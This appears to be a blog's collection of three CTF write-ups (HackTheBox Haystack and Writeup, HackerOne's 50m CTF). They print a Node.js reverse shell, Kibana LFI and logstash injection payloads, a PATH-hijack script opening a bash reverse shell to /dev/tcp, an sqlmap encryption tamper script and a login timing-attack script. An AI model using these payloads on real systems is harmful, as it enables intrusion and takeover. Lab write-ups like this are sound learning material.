Tag Archives: CTF

HackTheBox Haystack

‘Haystack’ is rated as an easy machine on HackTheBox.

USER

Running nmap on the machine showed that only a few ports were open, with http running on both port 80 and 9200.

Visiting port 80 revealed a very simple page with an image and nothing else. Gobuster didn’t reveal any other endpoints on this port, so obviously the image was important.

Running steghide on the image didn’t reveal anything, but strings did, namely a base64 string that translated to a Spanish sentence:

la aguja en el pajar es "clave"

Meaning “The needle in the hay is ‘key'”, where ‘key’ can also mean ‘password’. Trying to extract more information from the image with steghide and the ‘key’ from above didn’t result in anything.

Since there was nothing else on port 80, I proceeded to look at port 9200.
This presented an Elastiksearch portal, and Duckduckgo’ing this technology I was able to construct a search query:

http://10.10.10.115:9200/_search?pretty&size=200

This query revealed that the database contained bank account information and quotes… Strange combination! Looking through both and narrowing the search by using the keywords found in the image earlier, I came upon some interesting stuff (that would never have been there in a real-world database!):

POST /quotes/_search?pretty
Host: 10.10.10.115:9200
Content-Type: application/json
Content-Length: 79

{
   "query":{
      "query_string":{
         "query":"clave"
      }
   }
}

This revealed two base64’d hashes that included a username and password. With these I could SSH into the box and grab the user.txt.

ROOT

Apart from grabbing the user flag there wasn’t really much else I could do as this user, so I instead tried to escalate to the other user on the system, ‘kibana’.
Luckily there exists a known LFI (Local File Exclusion) vulnerability in Kibana, the software that is part of the Elastiksearch stack. The exploit is pretty straight-forward, create a file on the local machine and make a GET request from the local machine to execute it.

I created a node.js reverse shell and put it in /tmp:


1
2
3
4
5
6
7
8
9
10
11
12
(function(){
        var net = require("net"),
            cp = require("child_process"),
            sh = cp.spawn("/bin/sh", []);
        var client = new net.Socket();
        client.connect(9001, "10.10.15.9", function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return /a/; // Prevents the Node.js application from crashing
})();

And then set up a Netcat listener on my attack box and executed the reverse shell via Curl on the server:

http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/shell.js

As the ‘kibana’ user I was able to read the /etc/logstash/conf.d/ directory which contained configuration files for logstash, a process running as root which I had identified earlier with LinEnum.sh.

The most interesting file in the above directory was filter.conf, which explains how logstash greps a file and which parts it executes:

filter {
    if [type] == "execute" {
        grok {
            match => { "message" => 
"Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
        }
    }
}

Meaning, logstash looks for the string Ejecutar comando : and executes everything after it (the part after GREEDYDATA. There are several blogs on the Internet explaining this, search for ‘grok’ and ‘greedydata’).
With this in mind I created the file /opt/kibana/logstash_x with a reverse bash shell:

Ejecutar comando : bash -i >& /dev/tcp/10.10.15.9/9001 0>&1

And finally I got a connection on the Netcat listener and was logged in as root and could grab the root flag.

HackTheBox Writeup

‘Writeup’ is rated as an easy machine on HackTheBox.

User

As always, I started with an nmap scan which revealed two ports open, port 22 (SSH) and port 80 (HTTP).

Visiting port 80 showed a very simple page and nothing else. No links, nothing. Well, except for a warning that I’d be banned if I hit a lot of 404 pages, so no gobuster or similar brute forcing was going to work here.

Fortunately, checking robots.txt gave me something to work on, as it didn’t want me to visit /writeup. Which is exactly what I did!
There wasn’t much of interest in /writeup, but wappalyzer (a Firefox plugin) identified the software running as ‘CMS Made Simple’. Something which exploit-db has several exploits for.
I found an SQL injection exploit which didn’t need any valid credentials, and since I wasn’t able to identify the version of CMS Made Simple running, I decided to give it a try.

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

Within a short time the exploit had extracted a username, and the salt and hash for the password. Using hashcat with mode 20 (md5($salt.$pass)) I got the password ‘raykayjay9’ which allowed me to log in via SSH and grab the user flag.

Root

For root, I did the usual and fetched LinEnum and pspy and ran them. I didn’t initially notice anything with these tools, so I ran pspy with the parameters -fp to see all file system events.
When someone ssh’d into the box, sshd would call run-parts without a specific path, looking in the following dirs in the PATH variable:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Checking if any of these directories were writable showed that both /usr/local/sbin and /usr/local/bin were. So what would happen if I were to put an executable script called ‘run-parts’ into either of the above dirs?

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.10/9001 0>&1

Running chmod +x to make the above script executable and starting a reverse netcat listener

nc -lvnp 9001

All I had to do was log in via SSH again, and I had a reverse root shell and could grab the root flag!

50m CTF write-up

On the 26th of February HackerOne announced ‘the biggest, the baddest, the warmest’ CTF, with an incredible price of 10.000 US$. Being a beginner hacker my first reaction was: ‘with that kind of price, I’ve no chance in hell to solve it!’. However, since I love playing CTFs I took a shot anyway. This is my write-up of the CTF, which I unfortunately was unable to solve due to both lack of time and lack of experience. I did however, get much further than I would have ever dreamed.

Step 1

The tweet included two PNG pictures and no hint on what to do. I’d recently done another CTF by Intigriti which also included a picture, and reasoned that steganography had to be involved. Running steghide on the image didn’t help, since it didn’t support PNGs. Neither did hexdump nor messing with the picture in Gimp. I then went and searched Duckduckgo for ‘png hidden stego’ and came upon a tool for extracting information from PNGs, namely zsteg. Running through the examples in their readme I was able to extract a link with the following command:

./zsteg D0XoThpW0AE2r8S.png -b 1 -o yx -v

Visiting the link led to a Google Drive box with a single file, an Android APK.

Step 2

First thing I did was load the APK in Android Studio and run it in a VM. It presented me with a clean login interface and nothing else. I tried a few username/password combos and intercepted the traffic in Burp. Turned out both the request and reply were encrypted.

Digging through the java code using jd-gui I could see that the app was using AES-256-CBC to encrypt and decrypt, and the key was even hardcoded!

After a couple unfruitful days trying to decrypt the payloads using OpenSSL I gave up and threw together a python script, which luckily was a lot easier that I expected. With this script I was able to both see and tamper with the requests the app sent. I tried bruteforcing the login credentials which was surprisingly easy: username: admin, password: password! Thinking I’d solved this step I logged in and was presented with a thermostat that allowed me to change the temperature somewhere… And nothing else. Apparently a dead end!

I continued to tamper with the payloads and discovered that by including a single quote in the username I could provoke a different error message from the server. Using two single quotes did not give an error. Great! Apparently the username was vulnerable to SQL injection!

Exploiting this injection manually seemed pretty daunting, so I looked to sqlmap. One problem though: I needed to encrypt every payload sent by sqlmap for the server to understand it. Luckily sqlmap has an option called ‘tamper’, which runs every payload through a python script. I looked through the included scripts but none of them did what I needed, so I wrote a new one using the code I wrote for manually tampering with the payloads. The result was this:

 #!/usr/bin/env python3.6

""" For use in sqlmap as tamper script.
Encrypts payload using AES-CBC, then base64 and finally URL-encodes
chars. """

import base64
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from lib.core.enums import PRIORITY
import urllib

__priority__ = PRIORITY.LOW

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE)
* chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)

def dependencies():
pass

def tamper(payload, **kwargs):
retVal = payload
password = b'\x38\x4f\x2e\x6a\x1a\x05\xe5\x22\x3b\x80\xe9\x60\xa0\xa6\x50\x74'
retVal = "{\"username\":\"" + retVal +
"\",\"password\":\"1\",\"cmd\":\"getTemp\"}"
retVal = pad(retVal)
iv = Random.new().read(AES.block_size)
cipher = AES.new(password, AES.MODE_CBC, iv)
retVal = retVal.encode('ascii', 'ignore')
retVal = base64.b64encode(iv +
cipher.encrypt(retVal)).decode('utf-8')
retVal = retVal.replace('/', '%2F').replace('+',
'%2B').replace('=', '%3D')
return retVal

I let sqlmap run overnight and next morning it had dumped the whole database for me. One of the tables in the database was called ‘devices’ which included a list of 151 IP addresses. Most of those were LAN IPs (192.*.*.*), so I used sed to remove those and were left with a list of just 52 ‘real’ IPs. Feeding this list to nmap gave me just one working IP, which I did a full scan of.

Step 3

Visiting the URL on port 80 presented me with yet another login screen, and the site appeared to be the backend for the Android Thermostat app. I tried the usual stuff, weak login credentials (admin/password didn’t work here!), ran wfuzz to look for interesting pages, etc. The login function used a javascript to hash the username and password with a custom hashing algorithm using lots of XORs. It appeared quite daunting to me as I have no programming or IT background at all.

At this point I left the CTF for some days, not really knowing how to proceed. I did notice one interesting thing though: when dumping the database earlier, apart from the ‘devices’ table, there was a table with just two usernames and their hashed password. The admin password was hashed using MD5 and I was able to crack it (I already knew the password), but the password of user ‘test’ was encrypted using the custom hash of the backend login form. By pure chance I noticed that by trying to login as test:test the hash was equal to the one found in the database. I thought I’d stumbled upon the login by pure chance, but it turned out this was just another red herring.

I talked to another hacker Checkm50 who was well ahead of me in the CTF, and he hinted that I should look into timing attacks. I did some tests on the login and noticed that by systematically changing the first byte of the hash, one in 256 bytes took around half a second longer to get a reply from the server. I threw together a script to exploit this, but then realised that if each successive correct byte took half a second longer, this attack would take a LONG time.

 # Script to perform time-based attack on the 50m-CTF login. 
from collections import defaultdict
import requests
import numpy as np
import datetime

url = 'http://104.196.12.98/'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
string =
'f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db1300'
results = defaultdict(list)

print('Starting login timing attack at ' +
str(datetime.datetime.now()) + '. \n')

for j in range(5): # Number of iterations
for i in range(256): # Cycle through all 256 bytes
payload = string[:2] + "%0.2x" % i + string[4:]
data = 'hash=' + payload
req = requests.post(url, headers=headers, data=data)
results[i].append(req.elapsed.total_seconds())
print('Cycle ' + str(j) + ' complete at ' +
str(datetime.datetime.now()) + '. \n')
j += 1

for key in results:
result = np.mean(results[key])
if result > (1.5): # Adjust this number
print(str("%0.2x" % key) + ': ' + str(result))

print('##########################################################\n')

The script required a lot of manual intervention. I let it run for 2-3 iterations of all possible 256 bytes since the timing fluctuated a little, and it wasn’t always clear which byte took 500ms longer. The first iterations took just a few minutes, but due to the 500ms delay for each correct byte, the last bytes took over an hour for each iteration! After about 3 days I was able to extract the correct login hash and log in.

Step 4

I had already run wfuzz on the site, so I knew what pages existed. I couldn’t get in to /diagnostics even though I was logged in, so I only had /control and /update to work with. Visiting /update the page tried to contact a fictitious server on port 5000 and failed. Doing some guessing on the URL parameters, I was quickly able to find that by adding ?port=80 to the URL the page used that port instead. Great! Now I only needed to find the parameter to change the URL.
Which again turned out to be harder than I imagined…..

Once again with some hints from hacker Checkm50 and an official hint on Twitter I was able to part guess, part bruteforce, the parameter for the URL. I supplied it my own IP, booted up my Raspberry Pi server, and… nothing. No traffic. Of course it wouldn’t be this easy!

At this point the CTF had run for almost a month, and the next day I woke up to the news that it had ended, and the server taken off line.
To be honest I probably wouldn’t have finished it anyway, it was quickly reaching a level way over my skill level. Still, I’m very glad to have participated, I learned a lot and actually got much farther than I would ever have dreamed.